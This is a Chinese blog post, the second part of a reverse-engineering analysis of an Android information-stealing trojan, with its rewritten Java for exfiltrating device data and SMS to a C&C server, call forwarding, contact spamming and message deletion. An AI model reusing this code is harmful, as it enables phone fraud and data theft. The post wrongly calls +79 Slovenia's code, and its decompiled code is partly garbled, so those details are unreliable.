热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

洞若观火:全方位剖析Android信息窃取恶意软件(下篇)

 传送门《洞若观火:全方位剖析Android信息窃取恶意软件(上篇)》https://www.anquanke.com/post/id/XXXXXX 六、源代码分析6.9 类i(第二部分)根据从Ser

 

传送门

《洞若观火:全方位剖析Android信息窃取恶意软件(上篇)》

https://www.anquanke.com/post/id/XXXXXX

 

六、源代码分析



6.9 类i(第二部分)

根据从ServerCommunicator类中得到的新信息,我们能更加容易地理解类i。首先,它将收集方法和ID。

如果指定的方法是install,它还会手机网络运营商、bild模型、版本号、电话号码、IMEI、恶意程序版本和所在国家。所有这些数据都将被发送至C&C服务器。

如果指定的方法是info,那么只会将恶意程序的方法和ID发送到C&C服务器。

最后,有一个名为sms的选项,这一方法的行为与info方法相同。

protected final Object doInBackground(Object[] urlArray) {
Object var2 = null;
boolean var3 = false;
boolean var4 = MainService.e;
String url = ((String[]) urlArray)[0];
ServerCommunicator serverCommunicator = new ServerCommunicator();
this.parameters.add(new BasicNameValuePair("method", this.command));
this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
JSONObject serverResponse;
if (this.command.startsWith("install")) {
String POST = "POST";
this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.parameters.add(new BasicNameValuePair("version", Constants.version));
this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
serverRespOnse= ServerCommunicator.callC2(url, POST, this.parameters);
} else if (this.command.startsWith("info")) {
serverRespOnse= ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
} else {
serverRespOnse= (JSONObject) var2;
if (this.command.startsWith("sms")) {
serverRespOnse= ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
}
}
if (StringDatabase.integerZero != 0) {
if (!var4) {
var3 = true;
}
MainService.e = var3;
}
return serverResponse;
}

需要注意的是,Constants类仅包含两个字段。这些变量的名称可以直接改成它们的值,例如下面的类:

public final class Constants {
public static int int50005 = 50005;
public static String version = "5";
}

6.9.1 onPostExecute

多亏我的一个朋友,我获得了使用JEB反编译的Java代码。代码仍然非常复杂,因为这一函数大概有250行之多。此外,还有很多try-catch结构和jump,这又给分析工作加大了难度。

SMALI等效代码大约有550行,这使得我们几乎无法分析。但根据SMALI代码,我们可以大概看到函数执行的操作:比较字符串,如果相匹配则执行代码。这可能代表Java代码确认后的命令处理。下面是反编译后未经修改的部分Java代码。

//[omitted]
try {
if(v15.equals(String.valueOf(o.h) + o.E)) {
this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
}
if(v15.equals(String.valueOf(o.h) + i.t[18])) {
i.q(v8.optString(i.t[33]), v8.optString(o.c));
}
if(v15.equals(i.t[21] + o.f + i.t[16])) {
v16 = v8.optString(i.t[33]);
v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
if(v17 != null) {
goto label_125;
}
goto label_132;
}
goto label_160;
}
catch(Throwable v2) {
return;
}
try {
label_125:
if(v17.getCount() > o.z) {
goto label_128;
}
goto label_132;
}
catch(Throwable v2) {
goto label_273;
}
//[omitted]

为了适应本文所分析的恶意软件,我将大约250行代码重写为下面给出的代码。在重写的代码中,包含恶意程序所存在的所有功能,并且没有反编译错误。请注意,大多数字符串所在的字符串数组中,都包含33个字符串。它还使用了StringDatabase类中的字符串,这使得它非常混乱。

在代码中,包含以前没有分析过的类。这些类将在需要的时候进行分析。

protected final void onPostExecute(JSONArray commandJson) {
String command = commandJsonArray[0];
switch (command) {
case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;
case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;
case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;
case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;
case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allCOntacts= context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor cOntactIds= context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i <30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhOneNumber= contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;
case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;
case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;
}
}

在switch中,处理了多个命令,这些不同的命令具体如下。随后,我们将按照列出的顺序逐一分析每个命令。

6.9.2 install_true

在接收到此命令后,字符串inst在共享首选项文件中被设置为2。这意味着安装完成。

case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;

6.9.3 call_number

设置应该进行呼叫转移的电话号码。使用21作为前缀,并以#作为后缀,这样可以确保将呼入的电话转移到指定的号码上。

case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;

其中,StopCallForwardingRunnable类调用#21#,取消呼叫转移。命令中的时间变量将会指定何时应该取消呼叫转移,因为runnable的调用被延迟。时间变量是以秒为单位的等待时间,在代码中,原始函数需要以毫秒为单位的变量,因此该变量被乘以了1000。代码如下:

public final void run() {
new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");
}

我们将在分析了所有命令之后,再对TelephonyManagerWrapper2类进行分析。

6.9.4 sms_grab

time_perehv的值表示未来的特定时间,以秒为单位。处理这部分命令的代码如下:

case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;

使用Android Studio的查找用法(Find Usage)功能,可以看到String类中的字符串time_perehv(在上面的代码中被替换,以增加可读性)也同样在类Ma中被使用。在这里,由于这个类是BroadcastReceiver,所以用到了getAllSmsMessageBodies和onReceive这两个有趣的函数。

getAllSmsMessageBodies函数需要一个参数,也就是一个SMS消息数组。每条短信的正文都将放在一个字符串中,其结果以单个字符串的形式返回。

private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
StringBuilder stringBuilder = new StringBuilder();
for (SmsMessage messageBody : smsMessageArray) {
stringBuilder.append(messageBody.getMessageBody());
}
return stringBuilder.toString();
}

需要使用BroadcastReceiver类扩展的类来实现onReceive函数。在处理BroadcastReceiver正在侦听的intent时,onReceive函数负责处理其intent。onReceive函数具体如下:

public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
long j = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis() this.w = true;
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.w = true;
}
if (this.w && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
q();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();
}

在这部分代码中,函数q和类y是未知的。至此,我们已经知道这部分的核心功能。Long j等于time_perehv的值,该值通过C&C服务器的命令来设定。如果j晚于当前系统时间,那么布尔值w将被设置为true。请注意,默认情况下w被设置为false,如果收到的编号为900,那么该布尔值也将被设置为true。

如果将w设置为true,则继续执行代码,将intent的动作与接收到短信息时给出的动作进行比较。如果为true,类y将在2秒延迟后开始执行。

然后,利用短信命令,将所有短消息的内容发送到C&C服务器。最后,执行函数q。

y的代码如下:

public final void run() {
((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);
}

通过使用NotificationManager(通知管理),可以取消所有通知。然后,删除发送到numberTo值的所有消息。根据该消息,可以将类y重命名为CancelAllNotificationsRunnable。
函数q(在Ma类中)如下:

private boolean q() {
try {
Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
} catch (Throwable th) {
}
return true;
}

通过反射,调用abortBroadcast方法,从而从系统中删除广播。因此,我们可以将该函数重命名为abortBroadcastWrapper。

基于上面的分析,我们完全可以重写类Ma的onReceive函数,如下所示:

public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis() this.shouldBlock = true;
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.shouldBlock = true;
}
if (this.shouldBlock && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
abortBroadcastWrapper();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();
}

其中,由C&C服务器提供并保存在共享首选项time_perehv中的时间决定什么时候阻止并删除所有传入的消息。因此,Ma类可以重命名为SmsBlocker。

6.9.5 sms_send

在JSON命令中,会将指定的文本消息发送到指定的号码。随后,如果用户检查发送的短信息,恶意软件会删除文本消息,从而避免产生任何怀疑。

case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;

在上面的代码中,使用了函数sendAndRemoveMessage。该方法使用特定正文内容,并将短信息发送到特定号码。两秒钟后,使用可以运行的RemoveAllSentMessagesRunnable删除设备上所有可用的文本消息。


private static void sendAndRemoveMessage(String message, String numberTo) {
if (numberTo != null && message != null) {
TelephonyManagerWrapper.sendSms(numberTo, message);
(new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
}
}

RemoveAllSentMessagesRunnable类包装了TelephonyManagerWrapper2,我们稍后对其进行分析。

final class RemoveAllSentMessagesRunnable implements Runnable {
private final String message;
private final String numberTo;
RemoveAllSentMessagesRunnable(String message, String numberTo) {
this.message = message;
this.numberTo = numberTo;
}
public final void run() {
TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
}
}

6.9.6 ussd

使用callPhoneNumber函数(位于TelephonyManagerWrapper2类中)调用命令所提供的号码。输入的电话号码可以使ussd命令。

case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;

6.9.7 delivery

下面展示了交付命令的代码,代码已经经过重新编写,以尽可能多地包含详细信息。

case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allCOntacts= context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor cOntactIds= context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i <30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhOneNumber= contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;

首先,恶意软件设置将任何呼叫都转移到号码+79009999999。区号+79是斯洛文尼亚。之后,从命令中检索短信息的正文。并使用两个查询,查询手机中的所有联系人,上限为29。这些联系人都将收到一条短信息,其中包含在命令中定义的正文。之后,将会从手机上删除这一条发出的消息。

6.9.8 new_url

使用此命令,可以在设置中更改C&C服务器的URL。命令中URL的名称为text。程序会对其进行完整性检查,以查看URL是否超过了10个字符。符合HTTP协议(http://)规范并包含两个字符的顶级域名等于10个字符。

因此,即使是最小的URL,也要有11个字符,因此恶意程序会对其进行检查。由于手机尚未在新的C&C服务器上注册,所以inst设置为1。代码如下:

case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;

6.9.9 重命名类

根据两个函数中的信息,这个类通过将命令(字符串)与已知命令列表进行比较,然后调用正确的类来执行请求的操作,从而处理特定命令。因此,我们将这个类重命名为CommandHandler。


6.10 TelephonyManagerWrapper2

TelephonyManagerWrapper2的代码如下:

public static void removeSentMessages(Context context, String body, String numberTo) {
try {
Uri parse = Uri.parse("content://sms/inbox");
Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
if (query == null) {
return;
}
if (query.moveToFirst()) {
do {
long firstMessage = query.getLong(0);
String thread_id = query.getString(2);
if (body.equals(query.getString(5))) {
if (thread_id.equals(numberTo)) {
context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
}
}
} while (query.moveToNext());
}
} catch (Throwable th) {
}
}

如果号码和消息正文都匹配该函数参数提供的号码和文本消息正文,那么发送到收件人号码的所有消息都会从手机中删除。

callPhoneNumber函数代码如下:

public final void callPhoneNumber(Context context, String phoneNumber) {
((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
Intent intent = new Intent("android.intent.action.Call");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
context.startActivity(intent);
}

调用在此函数中作为参数提供的号码。名为q的类,是PhoneStateListener类的包装器,如下所示:

final class q extends PhoneStateListener {
Context context;
final TelephonyManagerWrapper2 telephonyManagerWrapper2;
private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
this.cOntext= context;
}
q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
this(telephonyManagerWrapper2, context);
}
public final void onCallStateChanged(int i, String str) {
}
}

因此,它可以重命名为PhoneStateListenerWrapper。

 

七、总结

至此,恶意软件中的所有类都被我们发现、分析和重新编写。这样一来,我们就掌握了恶意软件的命令,和内部工作的原理。在最后一次检查manifest时,所有类都已经被重新编写。


推荐阅读
  • 基于Net Core 3.0与Web API的前后端分离开发:Vue.js在前端的应用
    本文介绍了如何使用Net Core 3.0和Web API进行前后端分离开发,并重点探讨了Vue.js在前端的应用。后端采用MySQL数据库和EF Core框架进行数据操作,开发环境为Windows 10和Visual Studio 2019,MySQL服务器版本为8.0.16。文章详细描述了API项目的创建过程、启动步骤以及必要的插件安装,为开发者提供了一套完整的开发指南。 ... [详细]
  • SecureCRT是一款功能强大的终端仿真软件,支持SSH1和SSH2协议,适用于在Windows环境下高效连接和管理Linux服务器。该工具不仅提供了稳定的连接性能,还具备丰富的配置选项,能够满足不同用户的需求。通过SecureCRT,用户可以轻松实现对远程Linux系统的安全访问和操作。 ... [详细]
  • 为了确保iOS应用能够安全地访问网站数据,本文介绍了如何在Nginx服务器上轻松配置CertBot以实现SSL证书的自动化管理。通过这一过程,可以确保应用始终使用HTTPS协议,从而提升数据传输的安全性和可靠性。文章详细阐述了配置步骤和常见问题的解决方法,帮助读者快速上手并成功部署SSL证书。 ... [详细]
  • 本文详细解析了 Android 系统启动过程中的核心文件 `init.c`,探讨了其在系统初始化阶段的关键作用。通过对 `init.c` 的源代码进行深入分析,揭示了其如何管理进程、解析配置文件以及执行系统启动脚本。此外,文章还介绍了 `init` 进程的生命周期及其与内核的交互方式,为开发者提供了深入了解 Android 启动机制的宝贵资料。 ... [详细]
  • Java Socket 关键参数详解与优化建议
    Java Socket 的 API 虽然被广泛使用,但其关键参数的用途却鲜为人知。本文详细解析了 Java Socket 中的重要参数,如 backlog 参数,它用于控制服务器等待连接请求的队列长度。此外,还探讨了其他参数如 SO_TIMEOUT、SO_REUSEADDR 等的配置方法及其对性能的影响,并提供了优化建议,帮助开发者提升网络通信的稳定性和效率。 ... [详细]
  • 优化后的标题:深入探讨网关安全:将微服务升级为OAuth2资源服务器的最佳实践
    本文深入探讨了如何将微服务升级为OAuth2资源服务器,以订单服务为例,详细介绍了在POM文件中添加 `spring-cloud-starter-oauth2` 依赖,并配置Spring Security以实现对微服务的保护。通过这一过程,不仅增强了系统的安全性,还提高了资源访问的可控性和灵活性。文章还讨论了最佳实践,包括如何配置OAuth2客户端和资源服务器,以及如何处理常见的安全问题和错误。 ... [详细]
  • 本文详细介绍了在CentOS 6.5 64位系统上使用阿里云ECS服务器搭建LAMP环境的具体步骤。首先,通过PuTTY工具实现远程连接至服务器。接着,检查当前系统的磁盘空间使用情况,确保有足够的空间进行后续操作,可使用 `df` 命令进行查看。此外,文章还涵盖了安装和配置Apache、MySQL和PHP的相关步骤,以及常见问题的解决方法,帮助用户顺利完成LAMP环境的搭建。 ... [详细]
  • 本文详细解析了客户端与服务器之间的交互过程,重点介绍了Socket通信机制。IP地址由32位的4个8位二进制数组成,分为网络地址和主机地址两部分。通过使用 `ipconfig /all` 命令,用户可以查看详细的IP配置信息。此外,文章还介绍了如何使用 `ping` 命令测试网络连通性,例如 `ping 127.0.0.1` 可以检测本机网络是否正常。这些技术细节对于理解网络通信的基本原理具有重要意义。 ... [详细]
  • DVWA学习笔记系列:深入理解CSRF攻击机制
    DVWA学习笔记系列:深入理解CSRF攻击机制 ... [详细]
  • Unity与MySQL连接过程中出现的新挑战及解决方案探析 ... [详细]
  • 服务器部署中的安全策略实践与优化
    服务器部署中的安全策略实践与优化 ... [详细]
  • 本文介绍了如何利用Shell脚本高效地部署MHA(MySQL High Availability)高可用集群。通过详细的脚本编写和配置示例,展示了自动化部署过程中的关键步骤和注意事项。该方法不仅简化了集群的部署流程,还提高了系统的稳定性和可用性。 ... [详细]
  • 在Cisco IOS XR系统中,存在提供服务的服务器和使用这些服务的客户端。本文深入探讨了进程与线程状态转换机制,分析了其在系统性能优化中的关键作用,并提出了改进措施,以提高系统的响应速度和资源利用率。通过详细研究状态转换的各个环节,本文为开发人员和系统管理员提供了实用的指导,旨在提升整体系统效率和稳定性。 ... [详细]
  • Keepalived 提供了多种强大且灵活的后端健康检查机制,包括 HTTP_GET、SSL_GET、TCP_CHECK、SMTP_CHECK 和 MISC_CHECK 等多种检测方法。这些健康检查功能确保了高可用性环境中的服务稳定性和可靠性。通过合理配置这些检查方式,可以有效监测后端服务器的状态,及时发现并处理故障,从而提高系统的整体性能和可用性。 ... [详细]
  • 在Linux系统中,网络配置是至关重要的任务之一。本文详细解析了Firewalld和Netfilter机制,并探讨了iptables的应用。通过使用`ip addr show`命令来查看网卡IP地址(需要安装`iproute`包),当网卡未分配IP地址或处于关闭状态时,可以通过`ip link set`命令进行配置和激活。此外,文章还介绍了如何利用Firewalld和iptables实现网络流量控制和安全策略管理,为系统管理员提供了实用的操作指南。 ... [详细]
author-avatar
JoanNewLife
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有